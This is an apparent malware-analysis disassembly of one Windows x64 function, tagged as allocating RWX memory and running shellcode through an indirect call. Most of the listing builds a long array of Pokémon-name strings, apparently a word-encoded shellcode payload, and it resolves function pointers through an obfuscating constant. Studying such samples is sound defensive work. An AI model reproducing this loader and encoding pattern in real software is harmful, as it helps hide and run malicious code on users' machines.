Function at 0x140003412
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2318
call fcn.1400079a0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2290], 0xfffffffffffffffe
movabs rcx, 0x38599abd7cb6831d
mov rax, qword [0x140022250]
add rax, rcx
call rax
lea rcx, [rbp - 0x58]
mov qword [rbp + 0x2280], rcx
lea rdx, str.Electrode
call fcn.140002c84
lea rcx, [rbp - 0x38]
mov qword [rbp + 0x2280], rcx
lea rdx, str.Staryu
call fcn.140002c84
lea rcx, [rbp - 0x18]
mov qword [rbp + 0x2280], rcx
lea rdx, str.Rhydon
call fcn.140002c84
lea rcx, [rbp + 8]
mov qword [rbp + 0x2280], rcx
lea rdx, str.Lickitung
call fcn.140002c84
lea rcx, [rbp + 0x28]
mov qword [rbp + 0x2280], rcx
lea rdx, str.Rhyhorn
call fcn.140002c84
lea rcx, [rbp + 0x48]
mov qword [rbp + 0x2280], rcx
lea rdx, str.Tangela
call fcn.140002c84
lea rcx, [rbp + 0x68]
mov qword [rbp + 0x2280], rcx
lea rdx, str.Electrode
call fcn.140002c84
lea r13, [rbp + 0x88]
mov qword [rbp + 0x2280], r13
lea rdx, str.Tangela
mov rcx, r13
call fcn.140002c84
lea rsi, [rbp + 0xa8]
mov qword [rbp + 0x2280], rsi
lea rdx, str.Paras
mov rcx, rsi
call fcn.140002c84
lea rdi, [rbp + 0xc8]
mov qword [rbp + 0x2280], rdi
lea rdx, str.Electrode
mov rcx, rdi
call fcn.140002c84
lea rbx, [rbp + 0xe8]
mov qword [rbp + 0x2280], rbx
lea rdx, str.Staryu
mov rcx, rbx
call fcn.140002c84
lea r14, [rbp + 0x108]
mov qword [rbp + 0x2280], r14
lea rdx, str.Electrode
mov rcx, r14
call fcn.140002c84
lea r15, [rbp + 0x2228]
lea rax, [rbp - 0x58]
mov qword [r15], rax
lea rax, [rbp + 0x128]
mov qword [r15 + 8], rax
mov rax, qword [0x140022258]
movabs rcx, 0x38599abd7cb6831d
add rax, rcx
lea r12, [rbp + 0x2260]
mov rcx, r12
call rax
lea rcx, [rbp + 0x2248]
mov rdx, r15
mov r8, r12
call fcn.140002d5e
mov r15d, 0x160
movabs r12, 0x38599abd7cb6831d
lea rcx, [r15 + rbp]
add rcx, 0xffffffffffffffa8
mov rax, qword [0x140022260]
add rax, r12
call rax
add r15, 0xffffffffffffffe0
cmp r15, 0xffffffffffffffe0
jne 0x1400035e1
lea rcx, [rbp - 0x58]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Treecko
call fcn.140002c84
lea rcx, [rbp - 0x38]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp - 0x18]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Lapras
call fcn.140002c84
lea rcx, [rbp + 8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Houndour
call fcn.140002c84
lea rcx, [rbp + 0x28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magby
call fcn.140002c84
lea rcx, [rbp + 0x48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Donphan
call fcn.140002c84
lea rcx, [rbp + 0x68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Sunflora
call fcn.140002c84
mov qword [rbp + 0x2288], r13
lea rdx, str.Missingno
mov rcx, r13
call fcn.140002c84
mov qword [rbp + 0x2288], rsi
lea rdx, str.Missingno
mov rcx, rsi
call fcn.140002c84
mov qword [rbp + 0x2288], rdi
lea rdx, str.Missingno
mov rcx, rdi
call fcn.140002c84
mov qword [rbp + 0x2288], rbx
lea rdx, str.Alakazam
mov rcx, rbx
call fcn.140002c84
mov qword [rbp + 0x2288], r14
lea rdx, str.Magnemite
mov rcx, r14
call fcn.140002c84
lea rcx, [rbp + 0x128]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x148]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Slowbro
call fcn.140002c84
lea rcx, [rbp + 0x168]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magneton
call fcn.140002c84
lea rcx, [rbp + 0x188]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magnemite
call fcn.140002c84
lea rcx, [rbp + 0x1a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Seel
call fcn.140002c84
lea rcx, [rbp + 0x1c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x1e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Venomoth
call fcn.140002c84
lea rcx, [rbp + 0x208]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Granbull
call fcn.140002c84
lea rcx, [rbp + 0x228]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Electrode
call fcn.140002c84
lea rcx, [rbp + 0x248]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x268]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x288]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magneton
call fcn.140002c84
lea rcx, [rbp + 0x2a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Drowzee
call fcn.140002c84
lea rcx, [rbp + 0x2c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x2e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x308]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magneton
call fcn.140002c84
lea rcx, [rbp + 0x328]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Arbok
call fcn.140002c84
lea rcx, [rbp + 0x348]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x368]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x388]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magneton
call fcn.140002c84
lea rcx, [rbp + 0x3a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.NidoranM
call fcn.140002c84
lea rcx, [rbp + 0x3c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x3e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x408]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tangela
call fcn.140002c84
lea rcx, [rbp + 0x428]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Slowbro
call fcn.140002c84
lea rcx, [rbp + 0x448]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x468]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Beedrill
call fcn.140002c84
lea rcx, [rbp + 0x488]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Marill
call fcn.140002c84
lea rcx, [rbp + 0x4a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Geodude
call fcn.140002c84
lea rcx, [rbp + 0x4c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Geodude
call fcn.140002c84
lea rcx, [rbp + 0x4e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Ponyta
call fcn.140002c84
lea rcx, [rbp + 0x508]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Venomoth
call fcn.140002c84
lea rcx, [rbp + 0x528]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Unown
call fcn.140002c84
lea rcx, [rbp + 0x548]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x568]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Venomoth
call fcn.140002c84
lea rcx, [rbp + 0x588]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Sunflora
call fcn.140002c84
lea rcx, [rbp + 0x5a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Pichu
call fcn.140002c84
lea rcx, [rbp + 0x5c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Poliwag
call fcn.140002c84
lea rcx, [rbp + 0x5e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Hypno
call fcn.140002c84
lea rcx, [rbp + 0x608]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Jynx
call fcn.140002c84
lea rcx, [rbp + 0x628]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Ivysaur
call fcn.140002c84
lea rcx, [rbp + 0x648]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Gloom
call fcn.140002c84
lea rcx, [rbp + 0x668]
mov qword [rbp + 0x2288], rcx
lea rdx, str.NidoranM
call fcn.140002c84
lea rcx, [rbp + 0x688]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x6a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Yanma
call fcn.140002c84
lea rcx, [rbp + 0x6c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Unown
call fcn.140002c84
lea rcx, [rbp + 0x6e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Weedle
call fcn.140002c84
lea rcx, [rbp + 0x708]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x728]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0x748]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Yanma
call fcn.140002c84
lea rcx, [rbp + 0x768]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Mantine
call fcn.140002c84
lea rcx, [rbp + 0x788]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Hitmontop
call fcn.140002c84
lea rcx, [rbp + 0x7a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magneton
call fcn.140002c84
lea rcx, [rbp + 0x7c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x7e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magnemite
call fcn.140002c84
lea rcx, [rbp + 0x808]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x828]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x848]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magneton
call fcn.140002c84
lea rcx, [rbp + 0x868]
mov qword [rbp + 0x2288], rcx
lea rdx, str.NidoranM
call fcn.140002c84
lea rcx, [rbp + 0x888]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x8a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Machop
call fcn.140002c84
lea rcx, [rbp + 0x8c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Poliwag
call fcn.140002c84
lea rcx, [rbp + 0x8e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x908]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0x928]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Steelix
call fcn.140002c84
lea rcx, [rbp + 0x948]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x968]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tauros
call fcn.140002c84
lea rcx, [rbp + 0x988]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Flareon
call fcn.140002c84
lea rcx, [rbp + 0x9a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x9c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x9e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0xa08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0xa28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Eevee
call fcn.140002c84
lea rcx, [rbp + 0xa48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Sunflora
call fcn.140002c84
lea rcx, [rbp + 0xa68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Horsea
call fcn.140002c84
lea rcx, [rbp + 0xa88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Exeggutor
call fcn.140002c84
lea rcx, [rbp + 0xaa8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0xac8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0xae8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Steelix
call fcn.140002c84
lea rcx, [rbp + 0xb08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Slowbro
call fcn.140002c84
lea rcx, [rbp + 0xb28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0xb48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0xb68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Arbok
call fcn.140002c84
lea rcx, [rbp + 0xb88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Machamp
call fcn.140002c84
lea rcx, [rbp + 0xba8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0xbc8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Kadabra
call fcn.140002c84
lea rcx, [rbp + 0xbe8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.NidoranM
call fcn.140002c84
lea rcx, [rbp + 0xc08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacruel
call fcn.140002c84
lea rcx, [rbp + 0xc28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0xc48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Steelix
call fcn.140002c84
lea rcx, [rbp + 0xc68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Skarmory
call fcn.140002c84
lea rcx, [rbp + 0xc88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Seel
call fcn.140002c84
lea rcx, [rbp + 0xca8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0xcc8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Torchic
call fcn.140002c84
lea rcx, [rbp + 0xce8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Unown
call fcn.140002c84
lea rcx, [rbp + 0xd08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0xd28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0xd48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Meowth
call fcn.140002c84
lea rcx, [rbp + 0xd68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Flareon
call fcn.140002c84
lea rcx, [rbp + 0xd88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0xda8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0xdc8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Heracross
call fcn.140002c84
lea rcx, [rbp + 0xde8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Ponyta
call fcn.140002c84
lea rcx, [rbp + 0xe08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Venomoth
call fcn.140002c84
lea rcx, [rbp + 0xe28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Unown
call fcn.140002c84
lea rcx, [rbp + 0xe48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0xe68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Venomoth
call fcn.140002c84
lea rcx, [rbp + 0xe88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Sunflora
call fcn.140002c84
lea rcx, [rbp + 0xea8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Pichu
call fcn.140002c84
lea rcx, [rbp + 0xec8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0xee8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Yanma
call fcn.140002c84
lea rcx, [rbp + 0xf08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Unown
call fcn.140002c84
lea rcx, [rbp + 0xf28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Weedle
call fcn.140002c84
lea rcx, [rbp + 0xf48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0xf68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0xf88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Yanma
call fcn.140002c84
lea rcx, [rbp + 0xfa8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Mankey
call fcn.140002c84
lea rcx, [rbp + 0xfc8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Octillery
call fcn.140002c84
lea rcx, [rbp + 0xfe8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Seadra
call fcn.140002c84
lea rcx, [rbp + 0x1008]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Miltank
call fcn.140002c84
lea rcx, [rbp + 0x1028]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Golem
call fcn.140002c84
lea rcx, [rbp + 0x1048]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Venusaur
call fcn.140002c84
lea rcx, [rbp + 0x1068]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Golem
call fcn.140002c84
lea rcx, [rbp + 0x1088]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Clefable
call fcn.140002c84
lea rcx, [rbp + 0x10a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Wartortle
call fcn.140002c84
lea rcx, [rbp + 0x10c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bellsprout
call fcn.140002c84
lea rcx, [rbp + 0x10e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Primeape
call fcn.140002c84
lea rcx, [rbp + 0x1108]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Snubbull
call fcn.140002c84
lea rcx, [rbp + 0x1128]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Seadra
call fcn.140002c84
lea rcx, [rbp + 0x1148]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Teddiursa
call fcn.140002c84
lea rcx, [rbp + 0x1168]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Grimer
call fcn.140002c84
lea rcx, [rbp + 0x1188]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Machamp
call fcn.140002c84
lea rcx, [rbp + 0x11a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x11c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Kadabra
call fcn.140002c84
lea rcx, [rbp + 0x11e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Clefable
call fcn.140002c84
lea rcx, [rbp + 0x1208]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacruel
call fcn.140002c84
lea rcx, [rbp + 0x1228]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0x1248]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Steelix
call fcn.140002c84
lea rcx, [rbp + 0x1268]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Exeggcute
call fcn.140002c84
lea rcx, [rbp + 0x1288]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x12a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x12c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Butterfree
call fcn.140002c84
lea rcx, [rbp + 0x12e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x1308]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Machamp
call fcn.140002c84
lea rcx, [rbp + 0x1328]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x1348]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Kadabra
call fcn.140002c84
lea rcx, [rbp + 0x1368]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Sandslash
call fcn.140002c84
lea rcx, [rbp + 0x1388]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacruel
call fcn.140002c84
lea rcx, [rbp + 0x13a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0x13c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Steelix
call fcn.140002c84
lea rcx, [rbp + 0x13e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x1408]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x1428]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Charmander
call fcn.140002c84
lea rcx, [rbp + 0x1448]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Flareon
call fcn.140002c84
lea rcx, [rbp + 0x1468]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x1488]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0x14a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Steelix
call fcn.140002c84
lea rcx, [rbp + 0x14c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x14e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Grimer
call fcn.140002c84
lea rcx, [rbp + 0x1508]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x1528]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Grimer
call fcn.140002c84
lea rcx, [rbp + 0x1548]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Gengar
call fcn.140002c84
lea rcx, [rbp + 0x1568]
mov qword [rbp + 0x2288], rcx
lea rdx, [0x14001769b]
call fcn.140002c84
lea rcx, [rbp + 0x1588]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Shellder
call fcn.140002c84
lea rcx, [rbp + 0x15a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x15c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Grimer
call fcn.140002c84
lea rcx, [rbp + 0x15e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x1608]
mov qword [rbp + 0x2288], rcx
lea rdx, [0x14001769b]
call fcn.140002c84
lea rcx, [rbp + 0x1628]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x1648]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Shellder
call fcn.140002c84
lea rcx, [rbp + 0x1668]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x1688]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Lapras
call fcn.140002c84
lea rcx, [rbp + 0x16a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tyrogue
call fcn.140002c84
lea rcx, [rbp + 0x16c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.NidoranM
call fcn.140002c84
lea rcx, [rbp + 0x16e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x1708]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magneton
call fcn.140002c84
lea rcx, [rbp + 0x1728]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Torchic
call fcn.140002c84
lea rcx, [rbp + 0x1748]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Octillery
call fcn.140002c84
lea rcx, [rbp + 0x1768]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Grimer
call fcn.140002c84
lea rcx, [rbp + 0x1788]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x17a8]
mov qword [rbp + 0x2288], rcx
lea rdx, [0x14001769b]
call fcn.140002c84
lea rcx, [rbp + 0x17c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Shellder
call fcn.140002c84
lea rcx, [rbp + 0x17e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x1808]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x1828]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Pidgeot
call fcn.140002c84
lea rcx, [rbp + 0x1848]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Porygon2
call fcn.140002c84
lea rcx, [rbp + 0x1868]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Dewgong
call fcn.140002c84
lea rcx, [rbp + 0x1888]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Torchic
call fcn.140002c84
lea rcx, [rbp + 0x18a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Torchic
call fcn.140002c84
lea rcx, [rbp + 0x18c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Torchic
call fcn.140002c84
lea rcx, [rbp + 0x18e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Haunter
call fcn.140002c84
lea rcx, [rbp + 0x1908]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x1928]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Politoed
call fcn.140002c84
lea rcx, [rbp + 0x1948]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0x1968]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x1988]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x19a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x19c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x19e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x1a08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x1a28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x1a48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x1a68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Kabutops
call fcn.140002c84
lea rcx, [rbp + 0x1a88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Kabutops
call fcn.140002c84
lea rcx, [rbp + 0x1aa8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0x1ac8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Bulbasaur
call fcn.140002c84
lea rcx, [rbp + 0x1ae8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x1b08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x1b28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x1b48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Politoed
call fcn.140002c84
lea rcx, [rbp + 0x1b68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Venomoth
call fcn.140002c84
lea rcx, [rbp + 0x1b88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Omastar
call fcn.140002c84
lea rcx, [rbp + 0x1ba8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Rhyhorn
call fcn.140002c84
lea rcx, [rbp + 0x1bc8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Jolteon
call fcn.140002c84
